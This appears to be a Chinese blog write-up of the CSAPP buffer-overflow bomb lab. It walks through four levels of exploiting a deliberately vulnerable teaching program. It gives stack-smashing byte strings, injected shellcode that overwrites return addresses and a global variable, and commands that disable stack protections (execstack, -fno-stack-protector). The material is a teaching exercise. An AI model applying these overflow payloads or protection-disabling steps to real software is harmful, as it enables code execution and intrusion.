深入理解计算机系统之缓冲区溢出炸弹实验

深入理解计算机系统之缓冲区溢出炸弹实验

实验目标

在实验过程中,进一步掌握函数调用时栈帧结构的变化。充分了解缓冲区溢出原理,并学会利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使得程序执行我们所期望的过程。从实验中进一步感悟缓冲区溢出攻击方式,吸取经验教训,从而写出更安全的代码。

实验材料

  • makecookie:生成cookie
  • bufbomb:可执行程序-攻击对象
  • sendstring: 字符格式转换

bufbomb 程序是我们要攻击的对象,其缓冲区漏洞代码见下:

1
2
3
4
5
int getbuf() { 
char buf[12];
Gets(buf);
return 1;
}
1
2
3
4
5
6
7
8
9
10
getbuf:
push %ebp
mov %esp,%ebp
sub $0x18,%esp
lea -0xc(%ebp),%eax ; only allocate 12 bytes
mov %eax,(%esp)
call 0x8048e60 <Gets>
mov $0x1,%eax
leave
ret

代码中没有对 buf 数组进行越界检查(常见 C 编程错误),超过11个字符将溢出。而溢出的字符将覆盖栈帧上的数据和程序的返回地址。如果我们精心构造溢出的字符串,将程序“返回”至我们想要的代码上,就能控制程序流程。

为了构造所需要的地址或其他数据,我们需要实现逆反“字符->ASCII码”的过程。出题人已经提供了 sendstring 工具,其使用方法为 $ ./sendstring < exploit.txt > exploit-raw.txt。其中 exploit.txt 保存目标数据(即空格分隔的ASCII码),exploit-raw.txt 为逆向出的字符串。

攻击 bufbomb 程序时,先使用 sendstring 工具将输入的 ASCII 码转为输入给程序的字符串:

1
./sendstring < exploit.txt > exploit-raw.txt

然后,再将学号(生成 cookie 需要)和该文件输入给攻击对象

1
./bufbomb -t SA18xxxxxx < exploit-raw.txt

实验原理

函数过程调用时的栈帧结构,见下图。

注意,这张图的地址增长方向是向上。在x86架构上,Caller函数要在调用新函数前,准备好函数参数:传递的参数少于7个,就可以通过寄存器传递,当参数过多寄存器不够用时,就需要通过栈来传递。当Caller调用函数时,会将返回地址压入栈中,形成Caller的栈帧末尾。而被调用函数的栈帧就从保存帧指针的值开始。

实验开始

Level 0

这一阶段要求,控制程序进入一个在正常情况下不会被调用的函数 smoke() 。首先看一下 smoke() 函数的内存位置,是 0x08048e20

下图显示了在调用 Gets() 函数前,getbuf() 的栈帧情况(代码见前文)。

Gets() 函数接收 buf 的指针,因此这里是直接写入点,只要输入的字符超过 12 字节,就可以依次覆盖保存的 %ebp 的值和返回地址。我们将返回地址改为 0x08048e20 即可。注意,x86 是小端法。在 exploit.txt 中输入:

1
41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 20 8e 04 08

修改完成后,生成 exploit-raw.txt 文本,输入,得到结果见下:

Level 1

现在实验要求程序跳转到 fizz() ,并且打印出 fizz() 函数的参数,必须为自己的 Cookie 值,我的 Cookie 值为 0x46dd0bfe

1
2
3
4
5
6
7
8
9
void fizz(int val) { 
entry_check(1); /* Make sure entered this function properly */
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

还是一样,看一下 fizz() 函数的开始地址: 08048dc0 。那么只需要把上面的答案的最后几位更改一下,程序就可以跳转到 fizz() 函数中了!

但问题是,参数该怎么传入呢?先来看看 fizz() 怎么使用参数的:

1
2
3
4
5
6
7
8
9
10
fizz:
push %ebp
mov %esp,%ebp
push %ebx
sub $0x14,%esp
mov 0x8(%ebp),%ebx ; %ebx = (%ebp+0x8)
movl $0x1,(%esp)
call 80489a0 <entry_check>
cmp 0x804a1cc,%ebx ; compare with %ebx (0x804a1cc) maybe it is cookie
je 8048e00 <fizz+0x40>

如果你熟悉 x86 汇编语言,很容易看出,fizz() 函数是从 0x8(%ebp) 取出。下图指出了程序运行的过程,Getbuf() 函数执行 ret 指令,将返回地址存到 eip 寄存器中,于是我们来到了 fizz() 函数,然后执行两个 push 命令,从图中可以清楚地看出参数的位置。

于是,在后面加上几位数字,就可以到达实验目的。见下图:

1
41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 c0 8d 04 08 01 02 03 04 fe 0b dd 46

Level 2

现在实验难度继续上升,要求程序跳转到 bang() 函数中,并且要求 global_value==cookie 这条分支。

1
2
3
4
5
6
7
8
9
10
int global_value = 0; 
void bang(int val) {
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

这意味着我们需要在程序执行过程中,更改 global_value 的值。跳转到 bang() 函数难度不大,将返回地址修改一下就行。那么,如何修改 global_value 的值呢?有点难度,我们先从汇编代码入手,找到 global_value 的存放地址吧!

1
2
3
4
5
6
7
8
9
08048d60 bang:
push %ebp
mov %esp,%ebp
sub $0x8,%esp
movl $0x2,(%esp)
call 80489a0 <entry_check>
mov 0x804a1dc,%eax ; global_value
cmp 0x804a1cc,%eax ; cookie
je 8048da0 <bang+0x40>

从 GDB 调试器中,可以轻松地找到 global_value 的地址:

现在,要想办法把这个变量的值变为我们的 cookie 。当然,可以直接在 GDB 调试器里写入,不过这样实验就失去意义了!修改全局变量就需要注入我们自己的代码,然后将返回地址篡改到攻击代码处执行,最后再执行 ret 返回到 bang()

什么样的攻击代码才能满足我们的要求?不难,只需要修改 global_value 的值就行:

1
movl $0x46dd0bfe, 0x804a1dc

然后,返回到 bang() 函数,装作无事发生:

1
2
push $0x8048d60
ret

还有一个小问题,我们的攻击代码要放在哪里呢?我们只能掌控栈帧内存空间,虽然理论上说,这时我们已经可以指挥受害者干任何事情,但是这毕竟是一个实验,我不想把事情闹大,看起来也只有 buf 数组那边的空间比较合适。通过前两个实验的分析,buf 空间余留下16字节的空间,这应该够我们注入代码了!

使用 gcc 和 objdump 把这三句话转化为二进制,然后数一数空间,诶嘿,正好16字节!

然后,把得到的二进制指令,放入到前16个字节中,而返回地址应该要填 buf[0] 的地址,使用 GDB 调试器,可以知道 ebp 寄存器的值是 0xffffb878 ,那么 buf[0] 的地址就是 0xffffb878-0xc=0xffffb86c,于是写入:

1
c7 05 dc a1 04 08 fe 0b dd 46 68 60 8d 04 08 c3 6c b8 ff ff

但是,如果你亲自实践的话,会发现这样仍然有错,程序不会跳转到你想要它去的地方,而是会发出 Segmentation Fault 这个令人烦恼的错误 :angry:。这是因为,Linux 为了防止缓冲区溢出攻击,已经将栈帧空间的代码可执行权限关闭了,如果将攻击代码放在栈帧区,也会因没有执行权限而无法运行。

解决方法:安装execstack:sudo apt-get install execstack。然后,修改程序堆栈的可执行属性:execstack -s bufbomb 。如果拥有 bufbomb 的源代码,也可以在编译时关闭保护机制重新编译:

1
gcc -g -z execstack -fno-stack-protector bufbomb.c -o bufbomb

另外,修改堆栈可执行属性只能在gdb调试下有效,实际运行仍然会出现段错误。所以,彻底解决的方法还是找到源代码以后重新编译。还要注意一点,多次实验时可能会出现缓冲区首地址改变的情况。经过短暂地调整后,实验成功!

Level 3

最后一关,正常程序中 test() 返回后执行第 15 行代码,而我们要让函数执行第 12 行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void test() { 
int val;
volatile int local = 0xdeadbeef;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val); // 12 行
validate(3);
}
else { // 15 行
printf("Dud: getbuf returned 0x%x\n", val);
}
}

这意味着我需要在 getbuf() 结束后回到 test() 原本的位置,并将 cookie 作为 getbuf() 的返回值传给 test() 。为了做到这一点,在攻击过程中,需要将 %ebp 的值恢复,使程序不会因为外部攻击而出错崩溃。可以使用GDB 调试器找到调用getbuf 函数之后,%ebp 的值:0xffffb898

我打算故技重施,直接插入攻击代码,先修改返回值为我的 cookie,再将正常返回地址压入栈,最后保持存放 ebp 值不变。攻击代码我已写好:

1
2
3
movl $0x46dd0bfe, %eax
push $0x0804901e
ret

0x0804901e 值就是正常的返回地址,call 语句的下一条指令地址。

​ 仍用之前的办法将攻击指令转为二进制代码,这次代码长度变短,正好11个字节,再放入0xffffb898 和攻击代码的起始地址。大功告成:

1
b8 fe 0b dd 46 68 1e 90 04 08 c3 00 98 b8 ff ff 6c b8 ff ff


深入理解计算机系统之缓冲区溢出炸弹实验
https://dingfen.github.io/2021/05/27/2021-5-27-CSAPPLab03/
作者
Bill Ding
发布于
2021年5月27日
更新于
2024年4月9日
许可协议